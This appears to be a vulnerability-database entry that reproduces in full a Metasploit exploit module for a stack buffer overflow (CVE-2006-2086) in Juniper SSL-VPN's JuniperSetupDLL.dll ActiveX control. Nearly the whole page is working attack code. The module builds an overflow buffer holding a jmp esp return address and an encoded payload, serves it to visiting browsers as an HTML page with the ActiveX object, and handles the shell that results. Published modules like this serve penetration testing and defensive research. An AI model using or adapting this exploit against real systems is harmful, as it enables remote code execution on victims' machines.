Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflo


                                                ##
# $Id: juniper_sslvpn_ive_setupdll.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;


class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a stack buffer overflow in the JuniperSetupDLL.dll
				library which is called by the JuniperSetup.ocx ActiveX	control,
				as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
				overly long string to the ProductName object parameter, the stack
				is overwritten.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; &#39;patrick&#39;,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9262 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-2086&#39; ],
					[ &#39;OSVDB&#39;, &#39;25001&#39; ],
					[ &#39;BID&#39;, &#39;17712&#39; ],
					[ &#39;URL&#39;, &#39;http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;		=&#62;
				{
					&#39;Space&#39;		=&#62; 1024,
					&#39;BadChars&#39;	=&#62; &#34;\x00\x0a\x0d\x20&#60;&#62;()\&#34;\\\&#39;;@\#\%\`&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;		=&#62; &#39;win&#39;,
			&#39;Targets&#39;		=&#62;
				[
					[ &#39;Windows XP Pro SP3 English&#39;,	{ &#39;Ret&#39; =&#62; 0x77ae7f99 } ],# crypt32.dll jmp esp
					[ &#39;Debugging&#39;,			{ &#39;Ret&#39; =&#62; 0x44434241 } ],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Apr 26 2006&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize
		vname = rand_text_alpha(rand(100) + 1)

		# Build the exploit buffer
		sploit = rand_text_alpha(2200)
		sploit[220, 4] = [target[&#39;Ret&#39;]].pack(&#39;V&#39;)
		sploit[240, payload.encoded.length] = payload.encoded

		# Build out the message
		content = %Q|
			&#60;html&#62;
			&#60;object classid=&#34;CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B&#34; id=&#34;#{vname}&#34;&#62;
			&#60;PARAM NAME=&#34;ProductName&#34; VALUE=&#34;#{sploit}&#34;&#62;
			&#60;/object&#62;
			&#60;script language=&#34;javascript&#34;&#62;
			#{vname}.startSession();
			&#60;/script&#62;
			&#60;/html&#62;
			|

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1